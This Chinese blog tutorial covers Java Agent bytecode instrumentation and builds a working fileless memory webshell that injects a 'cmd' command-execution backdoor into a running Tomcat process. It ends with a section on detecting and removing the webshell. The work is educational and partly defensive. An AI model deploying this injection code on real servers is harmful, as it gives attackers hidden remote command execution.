/1dreamGN/Blog

1dreamGN

Java Agent & 内存马

34
2025-04-17

Java Agent

Java Agent是一种可以在JVM启动时或运行时附加的工具,它可以拦截并修改类文件字节码。Java Agent通常用于实现AOP(面向切面编程)、性能监控、日志记录等功能。

Java Agent有两种加载方式:

1.Premain:在JVM启动时通过命令行参数-javaagent:path/to/your-agent.jar来指定。

2.Agentmain:在JVM已经启动后,通过Attack API动态地附加到正在运行的JVM进程上。

准备

先来准备一个正在运行的正常程序:项目很简单,只有一个简单的Main方法,和一个Fox类。

有一个狐狸类,狐狸有一个say方法。

package org.example;

public class Fox {
    public  void say(){
        System.out.println("ding-ding-ding...");
    }
}

还有一个程序入口,每秒钟调用一次狐狸类的say()方法。

package org.example;

public class Main {
    public static void main(String[] args) throws InterruptedException {
        Fox fox = new Fox();
        while (true){
            fox.say();
            Thread.sleep(1000);
        }
    }
}

好了,写完这些代码就不要再去改动这个项目了。这个项目用于演示一个被Agent修改的普通应用。

Premain

premian代理的加载方式是在程序启动时加入参数。

java -javaagent:xxx.jar app.jar

其中的xxx.jar就是我们接下来构造的包。

1.新建一个maven项目。

2.改一下maven打包设置,配置如下:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>agent-premain</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>11</maven.compiler.source>
        <maven.compiler.target>11</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <configuration>
                    <descriptorRefs>
                        <descriptorRef>
                            jar-with-dependencies
                        </descriptorRef>
                    </descriptorRefs>
                    <archive>
                        <manifestEntries>
                            <Agent-Class>
                                AgentMainTest
                            </Agent-Class>
                            <Premain-Class>
                                PremainTest
                            </Premain-Class>
                            <Can-Redefine-Classes>
                                true
                            </Can-Redefine-Classes>
                            <Can-Retransform-Classes>
                                true
                            </Can-Retransform-Classes>

                        </manifestEntries>
                    </archive>
                </configuration>
                <executions>
                    <execution>
                        <id>
                            make-assembly
                        </id>
                        <phase>package</phase>
                        <goals><goal>single</goal></goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>

</project>

配置的作用是让jar打包时添加以下信息到jar包中的MANIFEST.MF文件中。

创建一个Premain类型的Agent时,需要在MANIFEST.MF中指定Premain-Class属性JVM才能在启动时加载指定代理类。

而创建一个Agentmain类型的Agent时,需要在MANIFEST中指定Agent-Class属性,JVM才能在运行时加载指定代理类。

Can-Redefine-Classes: true表示允许Java Agent新定义已经加载的类。

Can-Retransform-Classes: true表表示允许Java Agent重新转换已经加载的类。

现在来创建Premain Class,要注意,类的名字和在MANIFEST.MF中指定的Premain-Class属性值要一致。

import java.lang.instrument.Instrumentation;

public class PremainTest {
    public static void premain(String[] agentArgs, Instrumentation inst) {
        inst.addTransformer(new MyTransformer());
        System.out.println("Hello world!");
    }
}

public static void premain(String[] agentArgs, Instrumentation inst)是一个特殊的静态方法,被称为代理主方法(agent main method)。它由JVM调用,允许代理(agent)在目标应用程序启动之前执行初始化操作。

Strig agentArgs:传递给代理的参数字符串。

Instrumentation inst:提供了一组API来检查、修改甚至替换应用程序中的类。

MyTransformer是一个实现ClassFileTransformer的类,在类中负责具体的类转换工作。

import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
   @Override
   public  byte[] transform(ClassLoader loader, String classname, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
       if (classname.equals("org/example/Fox")){
           return  read("Fox.class");
       }
       return ClassFileTransformer.super.transform(loader, classname,classBeingRedefined,protectionDomain,classfileBuffer);
   }
   public  static  byte[] read(String path){
       try {
           FileInputStream in = new FileInputStream(path);
           //当文件没有结束时,每次读取一个字节显示
           byte[] data= new byte[in.available()];
           in.read(data);
           in.close();
           return data;
       } catch (Exception e){
           e.printStackTrace();
           return null;
       }
   }
}

关于此接口类方法的参数:

ClassLoader loader:加载类的类加载器。

String classname:类的全限定名(例如,com/example/MyClass)。

Class<?> classBeingRedefined:如果是在重新定义类,则为该类的对象;否则为null。

ProtectionDomain protectionDomain:类的保护域。

byte[] classfileBuffer:类的原始字节码数组。

返回一个新的字节码数组,用于替换原始字节码;如果不需要修改字节码,则返回null。

每当jvm需要加载一个类时,都会调用这个方法。这包括初始加载、重新定义和重新转换。

这个方法的作用是:如果检测到加载的是Fox类,则替换成编译好的另一个Fox.class文件的内容。

Fox.class是由修改后的Fox.java编译得来,与原版的不同在于换了一种叫法。

将以下代码放在Agent项目中,然后使用mvn compile命令编译。

package org.example;

public class Fox {
    public  void say(){
        System.out.println("大楚兴");
    }
}

编译好后在这个目录下。

将这个文件的路径填入到MyTransformer::transform中的return read()里面。

然后将项目编译成jar,复制jar绝对路径。

回到原来的第一个项目,先运行下项目,让其生成target文件夹。

生成后进入文件夹target/classes目录,打开cmd,运行指令:

java -javaagent:E:\开发项目\javasec2\agent\agent-premain\target\agent-premain-1.0-SNAPSHOT-jar-with-dependencies.jar org.example.Main

Fox.class成功被篡改。

Agentmain

Agentmain代理的加载方式是附加到正在运行的Java进程上。前面说到,创建一个Agentmain类型的Agent时,需要在MANIFEST中指定Agent-Class属性,则我们创建一个跟Agent-Class属性值同名的Java文件。

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new MyTransformer(), true);
        for (Class<?> clazz : inst.getAllLoadedClasses()){
            if (clazz.getName().equals("org.example.Fox")){
                try {
                    inst.retransformClasses(clazz);
                } catch (UnmodifiableClassException e) {
                    throw new RuntimeException(e);
                }

            }
        }
    }

}

inst.addTransformer(new MyTransformer(), true)中的第二个参数true表示该转换器可以重新转换已经加载过的类。

与之前Premain的逻辑不同的是,如果找到名为org.example.Fox的类,则调用retransformClasses重新转换一下这个类。因为程序已经运行起来了,说明这个Fox类已经被加载过了。之前的Premain Agent是在程序启动时加载的,所以不用这一步,剩下的MyTransformer接口中的逻辑保持和之前一致。

那么这个代理附加到正在运行的java项目进程上?首先,先把要修改的目标项目运行起来。

将刚修改的项目编译打包出jar包。通过命令mvn clean package编译。

使用jqs找到要注入的进程。

可以看到org.example.Main的进程号为49808。

使用jcmd附加代理到进程上。

看原来运行的程序,已经更改输出,达到运行时修改class的效果。

如果没有jcmd这个工具,或者不能执行命令,还有没有办法将这个Jar包附加到这个进程上呢?

现将正在运行的程序停掉,在这个项目中添加main类。

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class Main {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        VirtualMachine vm = VirtualMachine.attach("123");
        vm.loadAgent("E:\\开发项目\\javasec2\\agent\\agent-premain\\target\\agent-premain-1.0-SNAPSHOT-jar-with-dependencies.jar");
        System.out.println("Hello world!");
    }
}

老样子先获取进程。

将id修改成进程号,直接运行。

成功修改。

Javassist

提前写好class再替换还是不太灵活,有没有更灵活的方法呢,有的。

Javassist是一个用于操作java字节码的库类。它允许你在运行时定义新的类,或者修改现有的类。Javassist提供了一种简单的方式来处理Java字节码,使得开发者可以在不重新编译源代码的情况下,动态地改变程序的行为。

怎么用呢?添加依赖

<dependencies>
    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.30.2-GA</version>
    </dependency>
</dependencies>

修改MyTransformer代码,当 JVM 加载 org.example.Fox 类时,​​在该类的 say() 方法开头插入一行打印 "陈胜王" 的代码​​

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String classname,
                            Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) throws IllegalClassFormatException {

        // 1. 只处理目标类 "org/example/Fox"(注意路径格式是 / 分隔)
        if (classname.equals("org/example/Fox")) {

            // 2. 初始化 Javassist 类池
            ClassPool pool = ClassPool.getDefault();
            pool.appendClassPath(new LoaderClassPath(loader)); // 添加当前 ClassLoader 的路径

            try {
                // 3. 从原始字节码构建 CtClass 对象
                CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));

                // 4. 获取目标方法 say()
                CtMethod say = cc.getDeclaredMethod("say");

                // 5. 在 say() 方法开头插入代码
                say.insertBefore("System.out.println(\"陈胜王\");");

                // 6. 返回修改后的字节码
                return cc.toBytecode();

            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }

        // 7. 对其他类不处理,返回 null 表示保持原样
        return null;
    }
}

打包jar

让fox跑起来。

还是jps -l查找进程号,并填入代码中。

运行成功,已经插入输出语句。

Agent内存马

Agent技术既然能在程序运行时动态修改类的字节码,那就非常适合做内存马,只要修改掉http请求处理过程中的一个类,那不就是在无webshell文件落地的情况下实现了,让目标程序受我们控制吗。

启动一个Tomcatweb服务,在一个Servlet上打上断点,然后访问Servlet,将看到以下调用过程:

在调用过程中存在一个ApplicationFilterChain类的doFilter方法,根据tomcat的请求传递过程,请求必定经过Filter链。只要项目中存在Filter,则ApplicationFilterChain类的doFilter方法必定被调用。

所以可以在请求的必经之路上设下条件:如果请求参数中包含cmd参数,则执行参数中的命令,否则就什么都不做。

String cmd = request.getParameter("cmd");
if (cmd != null) {
    try {
        Process proc = Runtime.getRuntime().exec(cmd);
        java.io.InputStream in = proc.getInputStream();
        java.io.BufferedReader br  = new java.io.BufferedReader(new java.io.InputStreamReader(in));
        response.setContentType("text/html");
        String line;
        java.io.PrintWriter out = response.getWriter();
        while ((line = br.readLine()) != null) {
            out.println(line);
            out.flush();
           out.close();
       }
        
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}

我们将这段代码插入正在运行的Tomcat进程中,这算是对Agent知识的一个小小的实践。

首先tomcat肯定运行起来了,所以要使用Agentmain的方式将agent jar包注入到Tomcat进程中。

首先先运行tomcat,查找tomcat的进程号。

53988 org.apache.catalina.startup.Bootstrap为tomcat进程。

不论进程号如何改变,对用的启动类名称固定为org.apache.catalina.startup.Bootstrap,现在编写出agent jar包,因为是Agentmain注入,所以不需要Premain-Class。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>agent-demo2</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>11</maven.compiler.source>
        <maven.compiler.target>11</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.30.2-GA</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <version>3.6.0</version>
                <configuration>
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                    <archive>
                        <manifestEntries>
                            <Main-Class>test</Main-Class>
                            <Agent-Class>AgentMainTest</Agent-Class>
                            <Can-Redefine-Classes>true</Can-Redefine-Classes>
                            <Can-Retransform-Classes>true</Can-Retransform-Classes>
                        </manifestEntries>
                    </archive>
                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id>
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>
    </build>
</project>

接下来编写AgentMainTest.java,遍历所有已加载的类,对org.apache.catalina.core.ApplicationFilterChain类用自定义的MyTransformer类重新转换类字节码,在java目录新建这个文件。

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMainTest {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        // 确保 MANIFEST.MF 文件中配置了正确的 Agent-Class 属性
        // Agent-Class: AgentMainTest
        inst.addTransformer(new MyTransformer(), true);
        for (Class<?> clazz : inst.getAllLoadedClasses()){
            if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
                try {
                    inst.retransformClasses(clazz);
                } catch (UnmodifiableClassException e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }
}

MyTransformer实现类字节码的替换工作,在执行doFilter之前插入一段恶意代码,若存在cmd参数,则返回cmd参数运行结果。

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;

import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class MyTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String classname,
                            Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) throws IllegalClassFormatException {

        // 1. 只处理目标类 "org/apache/catalina/core/ApplicationFilterChain"(注意路径格式是 / 分隔)
        if (classname.equals("org/apache/catalina/core/ApplicationFilterChain")) {

            // 2. 初始化 Javassist 类池
            ClassPool pool = ClassPool.getDefault();
            pool.appendClassPath(new LoaderClassPath(loader)); // 添加当前 ClassLoader 的路径

            try {
                // 3. 从原始字节码构建 CtClass 对象
                CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));

                // 4. 获取目标方法 doFilter()
                CtMethod doFilter = cc.getDeclaredMethod("doFilter");

                // 5. 在 doFilter() 方法开头插入代码
                doFilter.insertBefore(
                        "String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null) {\n" +
                        "    try {\n" +
                        "        Process proc = Runtime.getRuntime().exec(cmd);\n" +
                        "        java.io.InputStream in = proc.getInputStream();\n" +
                        "        java.io.BufferedReader br  = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        response.setContentType(\"text/html\");\n" +
                        "        String line;\n" +
                        "        java.io.PrintWriter out = response.getWriter();\n" +
                        "        while ((line = br.readLine()) != null) {\n" +
                        "            out.println(line);\n" +
                        "            out.flush();\n" +
                        "            out.close();\n" +
                        "        }\n" +
                        "        \n" +
                        "    } catch (Exception e) {\n" +
                        "        throw new RuntimeException(e);\n" +
                        "    }\n" +
                        "        \n" +
                        "}");

                // 6. 返回修改后的字节码
                return cc.toBytecode();

            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }


        return ClassFileTransformer.super.transform(loader, classname, classBeingRedefined, protectionDomain, classfileBuffer);
    }
}

test.java是为了方便不用再命令行查找进程和不写jar路径,直接在代码中实现找jar包和进程号查询并且将查询到的值传入到test的main方法中,直接将jar注入到该进程中。

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.security.ProtectionDomain;

public class test {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        String pid = getPID("org.apache.catalina.startup.Bootstrap");
        if (pid == null){
            throw new RuntimeException("未找到目标进程");
        }
        String jar = getJar(test.class);
        VirtualMachine vm = VirtualMachine.attach(pid);

        System.out.println(jar);
        vm.loadAgent(jar);
    }
    public static String getJar(Class<?> clazz) throws IOException {
        //获取类所在的jar包路径
        ProtectionDomain protectiondomain = clazz.getProtectionDomain();
        URL Location = protectiondomain.getCodeSource().getLocation();
        //获取jar包名称
        String path = Location.getPath();
        String decodedPath = URLDecoder.decode(path, StandardCharsets.UTF_8);
        if (System.getProperty("os.name").toLowerCase().contains("win")&&decodedPath.startsWith("/")) {
            return decodedPath.substring(1);
        }
        return null;
    }
    //执行jps -l,获取到目标进程的pid
    public static String getPID(String className) {
        try {
            Process process = Runtime.getRuntime().exec("jps -l");
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line;
            while ((line = reader.readLine()) != null) {
                if (line.contains(className)) {
                    return line.split(" ")[0];
                }
            }
        } catch (IOException e) {
            throw new RuntimeException("获取目标进程PID失败", e);
        }
        return null;
    }
}

打包代码,然后在命令行中运行jar,记得在此之前要运行tomcat。

直接访问http://localhost:8080/?cmd=whoami

正常访问。

检测与查杀

agent内存马的难点是在定位攻击者哪些字节码,通过javaassist等asm工具获取到类的字节码,也只是读取磁盘上响应类的字节码,而不是jvm中的字节码。

那如何将注入的字节码还原,接下来先检测定位,先前注入的类是org.apache.catalina.core.ApplicationFilterChain,那打开工具sa-jdi.jar检测定位,进入到java的lib目录下,我的是11,打开cmd,输入指令jhsdb hsdb回车。

点击file -> attach to hotspot proccess 输入tomcat的pid。

点击菜单栏的tools-class broswer查看当前jvm中已经加载并被java Instrumentation修改后的类,就可以开始溯源定位内存马是在那个类被植入的,之前注入的类是org.apache.catalina.core.ApplicationFilterChain,直接搜Chain

点进去找doFilter

查到关键恶意代码。

利用javaassist获取没被修改的字节码,然后在通过retransformClass对类进行重新定义即可复原。

编写还原代码:

BytecodeRestorer.java通过org.apache.catalina.core.ApplicationFilterChain获取原始字节码

import javassist.*;

import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;

/**
 * 从原始Tomcat类库中获取干净的ApplicationFilterChain字节码
 */
public class BytecodeRestorer implements ClassFileTransformer {
    // Tomcat核心类全限定名
    private static final String TARGET_CLASS = "org.apache.catalina.core.ApplicationFilterChain";

    /**
     * 获取原始字节码
     */

    public byte[] transform(ClassLoader loader, String classname,
                            Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) {


            try {
                ClassPool pool = ClassPool.getDefault();
                // 加载目标类
                CtClass cc = pool.getCtClass(TARGET_CLASS);
                byte [] bytes = cc.toBytecode();
                cc.detach();
                // 生成纯净字节码
                System.out.println(Arrays.toString(cc.toBytecode()));
                return bytes;
            } catch (Exception e) {
                    throw new RuntimeException(e);
            }
    }
}

AgentMainTest.java获取jvm全部的加载类,直到找到ApplicationFilterChain就添加一个addTransformer,利用retransformClasses还原ApplicationFilterChain的定义。

// 导入 Java Instrumentation API 包
import java.lang.instrument.Instrumentation;

// 代理主测试类,用于动态修改已加载的类
public class AgentMainTest {
    // 静态变量,保存 Instrumentation 实例(用于类转换)
    private static Instrumentation instrumentation;

    // 静态变量,自定义的字节码转换器(用于恢复或修改类字节码)
    private static BytecodeRestorer transform = new BytecodeRestorer();

    /**
            * Java Agent 的入口方法(动态 attach 模式)
            * @param agentArgs 代理参数(可传入自定义参数)
            * @param inst Instrumentation 实例,提供类操作能力
 *          @throws Exception 可能抛出异常
     */
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
        instrumentation = inst;  // 保存 Instrumentation 实例
        Class[] classes = inst.getAllLoadedClasses();  // 获取 JVM 中所有已加载的类

        // 遍历所有已加载的类
        for (Class cls : classes) {
            // 检查类名是否为 "org.apache.catalina.core.ApplicationFilterChain"(Tomcat 的过滤器链类)
            if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
                // 添加字节码转换器(transform 负责实际的字节码修改)
                inst.addTransformer(transform, true);

                // 触发类重新转换(retransformClasses 会调用 transform 修改字节码)
                inst.retransformClasses(cls);

                // 移除转换器(避免影响其他类)
                inst.removeTransformer(transform);

                // 打印成功信息
                System.out.println("ApplicationFilterChain has been redefined successfully.");
            }
        }
    }
}


test.java照搬上面的,不用改,pom.xml的依赖也是。直接打包该项目。

开启tomcat,将之前的内存马注入进去,命令可以成功执行。

将刚刚生成的jar包运行。

可以看到页面中显示命令执行失败,已经成功覆盖,消除了内存马。

Java AgentNoFile等有时间分析了会补充上。